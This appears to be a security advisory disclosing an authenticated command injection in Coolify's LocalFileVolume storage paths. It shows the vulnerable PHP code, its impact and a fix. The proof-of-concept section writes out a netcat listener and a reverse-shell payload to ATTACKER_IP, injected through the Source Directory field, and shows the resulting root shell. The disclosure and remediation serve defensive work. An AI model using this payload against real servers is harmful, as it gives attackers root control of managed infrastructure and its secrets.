Summary

An authenticated command injection vulnerability in the File Storage Directory Mount functionality allows users with application/service management permissions to execute arbitrary commands as root on managed servers. The file_storage_directory_source parameter is passed directly to shell commands without sanitization, enabling full remote code execution on the host system.

Details

Vulnerable File: app/Models/LocalFileVolume.php

Vulnerable Code (multiple locations):

Line 64-66 (loadStorageOnServer function):

$path = data_get_str($this, 'fs_path');
// ...
$isFile = instant_remote_process(["test -f $path && echo OK || echo NOK"], $server);
$content = instant_remote_process(["cat $path"], $server, false);

Lines 94-95 (deleteStorageOnServer function):

$isFile = instant_remote_process(["test -f $path && echo OK || echo NOK"], $server);
$isDir = instant_remote_process(["test -d $path && echo OK || echo NOK"], $server);

Lines 138-141 (saveStorageOnServer function):

$isFile = instant_remote_process(["test -f $path && echo OK || echo NOK"], $server);
$isDir = instant_remote_process(["test -d $path && echo OK || echo NOK"], $server);
// ...
$commands->push("echo '$content' | base64 -d | tee $path > /dev/null");

The fs_path parameter originates from user input via app/Livewire/Project/Service/Storage.php lines 175-185:

public function submitFileStorageDirectory()
{
    $this->file_storage_directory_source = trim($this->file_storage_directory_source);
    $this->file_storage_directory_source = str($this->file_storage_directory_source)->start('/')->value();
    // ...
    \App\Models\LocalFileVolume::create([
        'fs_path' => $this->file_storage_directory_source,  // No sanitization!
        // ...
    ]);
}

The only validation is 'file_storage_directory_source' => 'required|string' (line 166), with no shell metacharacter filtering or use of escapeshellarg(). When the path is used in shell commands via instant_remote_process(), attackers can inject arbitrary commands using command substitution ($(...)).

Due to Coolify's sudo injection mechanism in bootstrap/helpers/sudo.php, all injected commands execute with root privileges regardless of SSH user configuration.

PoC

Prerequisites:

• Coolify v4.0.0-beta.450 or earlier
• Authenticated user with application/service management permissions
• A deployed application or service

Steps to reproduce:

1. Start a netcat listener on attacker machine:

nc -lvnp 8888

2. Log into Coolify and navigate to any deployed application

3. Go to Configuration → Persistent Storage tab

4. Click "+ Add" and select "Directory Mount"

5. Enter the following:

   • Source Directory: /tmp$(bash -i >& /dev/tcp/ATTACKER_IP/8888 0>&1)
   • Destination Directory: /app/data

6. Click "Add"

7. A root shell is received on the attacker's listener:

connect to [ATTACKER_IP] from (UNKNOWN) [TARGET_IP] 43398
bash: cannot set terminal process group: Inappropriate ioctl for device
bash: no job control in this shell
root@hostname:~#

Impact

Severity: Critical (CVSS 9.9)

Impact:

• Remote Code Execution: Attackers can execute arbitrary commands on managed servers
• Root Privilege: All commands execute as root due to Coolify's sudo injection mechanism
• Full Server Compromise: Attackers gain complete control of managed infrastructure
• Container Escape: Access to Docker socket enables control of all containers
• Lateral Movement: Compromised servers can be used to attack other managed resources
• Data Breach: Access to all applications, databases, and secrets managed by Coolify

Who is affected:

• All Coolify self-hosted instances running v4.0.0-beta.450 or earlier
• Any organization using Coolify to manage application deployments
• All servers connected to a compromised Coolify instance

CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command - OS Command Injection)

Recommended Fix:
Apply escapeshellarg() to the $path variable before use in shell commands:

$escapedPath = escapeshellarg($path);
$isFile = instant_remote_process(["test -f $escapedPath && echo OK || echo NOK"], $server);

Additionally, implement input validation to restrict directory paths to alphanumeric characters, dots, dashes, underscores, and forward slashes only, rejecting any shell metacharacters like $, (, ), ;, |, &, etc.